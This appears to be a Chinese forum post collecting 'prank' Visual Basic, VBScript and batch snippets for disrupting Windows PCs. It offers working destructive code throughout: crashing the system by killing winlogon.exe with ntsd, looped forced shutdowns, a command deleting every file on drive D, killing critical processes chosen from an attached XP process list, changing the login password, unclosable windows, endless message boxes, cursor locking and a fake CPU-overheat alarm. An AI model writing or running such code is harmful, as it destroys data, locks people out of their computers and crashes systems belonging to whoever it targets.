vb的一些搞怪的操作

VB代码之：鼠标锁

option Explicit

Private Type RECT 

Left As Long 

Top As Long 

Right As Long 

Bottom As Long 

End Type

Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long

Private Sub Command1_Click()'锁定鼠标 

Dim r As RECT 

r.Left = 100: r.Top = 100 

r.Right = 100: r.Bottom = 100 

ClipCursor r 

End Sub

Private Sub Command2_Click()‘解除锁定 

ClipCursor ByVal 0& 

End Sub

 

VB代码之：蓝屏代码

Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0

 

VB代码之：关不掉的窗口 

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Print "woca"

Cancel = True

End sub

 

VB代码之：不断打开关机对话框

Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long)

Private Sub Form_Load()

Do

ShutDownDialog hWnd

Loop

End Sub

 

VB代码之：弹出无限 Msgbox

Private Sub Form_Load() 

love: msgbox"嘿嘿" 

Go to love 

End Sub

 

VB代码之：CPU100%占据者

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)

Form1.Show

End Sub

Private Sub Form_Load()

Timer1.Interval = 10

Timer2.Interval = 10

Form1.Hide

For i = 1 To 1E+23

For a = 1 To 1E+16

Next a

For b = 1 To 1E+19

Next b

For c = 1 To 999999999

Next c

Next i

End Sub

Private Sub Timer1_Timer()

Form1.Show

End Sub

Private Sub Timer2_Timer()

Form1.Show

End Sub

 

VB代码之：编写系统炸弹

Private Sub Form_Load()

            For i=1To 1E+40

                Shell"shutdown -s -t 0"

            Next i

End Sub

 

 

VB代码之：编写无限弹不规则窗口

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Sub Form_Load() 

'窗口永在最前 

SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1 

    

Randomize Timer '伪随机数发生器 

   

   Me.Width = Int(Screen.Width / 2 * Rnd) 

   Me.Height = Int(Screen.Height / 2 * Rnd) 

   Me.Left = Int((Screen.Width - Me.Width) * Rnd) 

   Me.Top = Int((Screen.Height - Me.Height) * Rnd)

   Timer1.Interval = Int(Rnd * 5000) + 5000 

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 

Dim a As New Form1 

a.Show 

Cancel = 1 

Me.FontSize = 14 

Print "这么是关不掉我的。" & vbCrLf & "啦啦啦……" 

End Sub

Private Sub Timer1_Timer() 

Me.Left = Rnd * 10000 

Me.Top = Rnd * 8000 

End Sub

 

VB代码之：鼠标不见了

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 

ShowCursor (False) 

End Sub

Private Sub Command2_Click() 

ShowCursor (True) 

MsgBox "ok" 

End Sub

 

这个是来自于 我们群里的论坛里的一个

创建 一个Text 和一个 Command1

Shell "Taskkill /f /im " & Text1.Text '结束Text1里的进程 ~ 

提个醒：把Text1的Text 为 "重要的进程" '我就不说 系统重要的进程了…… 请看下面 Windows 进程表

下面的是Windows XP 常见的进程列表

最基本的系统进程（也就是说，这些进程是系统运行的基本条件，有了这些进程，系统

就能正常运行）

smss.exe Session Manager

csrss.exe 子系统服务器进程

winlogon.exe 管理用户登录

services.exe 包含很多系统服务

lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。

(系统服务)

产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务)

svchost.exe 包含很多系统服务

svchost.exe

SPOOLSV.EXE 将文件加载到内存中以便迟后打印。(系统服务)

explorer.exe 资源管理器

internat.exe 托盘区的拼音图标

附加的系统进程（这些进程不是必要的，你可以根据需要通过服务管理器来增加或减

少）

mstask.exe 允许程序在指定时间运行。(系统服务)

regsvc.exe 允许远程注册表操作。(系统服务)

winmgmt.exe 提供系统管理信息(系统服务)。

inetinfo.exe 通过 Internet 信息服务的管理单元提供 FTP 连接和管理。(系统服务)

tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务)

允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。(系统服务)

tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务

的一部分。(系统服务)

termsrv.exe 提供多会话环境允许客户端设备访问虚拟的 Windows 2000

Professional 桌面会话以及运行在服务器上的基于 Windows 的程序。(系统服务)

dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务)

以下服务很少会用到，上面的服务都对安全有害，如果不是必要的应该关掉

tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000

Professional 的能力。(系统服务)

支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及

Quote of the Day。(系统服务)

ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服

务)

ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务)

wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。

(系统服务)

llssrv.exe License Logging Service(system service)

ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务)

RsSub.exe 控制用来远程储存数据的媒体。(系统服务)

locator.exe 管理 RPC 名称服务数据库。(系统服务)

lserver.exe 注册客户端许可证。(系统服务)

dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务)

clipsrv.exe 支持“剪贴簿查看器”，以便可以从远程剪贴簿查阅剪贴页面。(系统

服务)

msdtc.exe 并列事务，是分布于两个以上的数据库，消息队列，文件系统，或其

它事务保护资源管理器。(系统服务)

faxsvc.exe 帮助您发送和接收传真。(系统服务)

cisvc.exe Indexing Service(system service)

dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务)

mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服

务)

netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务)

smlogsvc.exe 配置性能日志和警报。(系统服务)

rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制

安装功能。(系统服务)

RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务)

RsFsa.exe 管理远程储存的文件的操作。(系统服务)

grovel.exe 扫描零备份存储(SIS)卷上的重复文件，并且将重复文件指向一个数据存

储点，以节省磁盘空间。(系统服务)

SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统

服务)

snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系

统服务)

snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息，然后将消息传递

到运行在这台计算机上 SNMP 管理程序。(系统服务)

UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务)

msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)

嘿嘿 然后 Form的Load事件中 输入代码

Command1_Click

嘿嘿

msgbox "你要点100下确定",vbokcancel,"hkmfk"

for i=1 to 100

msgbox "加油!!!"&"还有"&(100-i)&"下",4096,"zhb0813"

next

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

2.删除D:所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true

3.不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

4.不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

放一个timer,名为timer1 

Private Sub Form_Load() 

Me.Visible = False 

Timer1.Interval = 10*1000 

End Sub 

Private Sub Timer1_Timer() 

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" 

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" 

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" 

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" 

msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" '可以多复制几个 msgbox "CPU温度过高，系统出现严重错误！",16+4096,"警告" 

End Sub

多了 去看我回答的所有内容 我最在行了  VB的 不知道了

你应该不是很会 这些东西 VB还要编成EXE 有点麻烦 

我估计你问的是VBS BAT之类的脚本  

1.掉qq  taskkill /im qq.exe /f /t 

2.10秒强制关机（任务管理器无效） shutdown -s -t 10 

3.死机 start cmd 0% 

4.设置登录密码为2097152 net user "%username%" 2097152 

5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe   VBS的 

1.莫名其妙结束当前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop  

2.不断提示你是猪 do msgbox("你是猪") loop 

剩下的是我以前编的 http://wenwen.soso.com/z/q242167878.htm ;

去这个网看看  BAT怎么写 你自己去网上找找我就不费话了

 

shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 运行后直接蓝屏。。。慎用~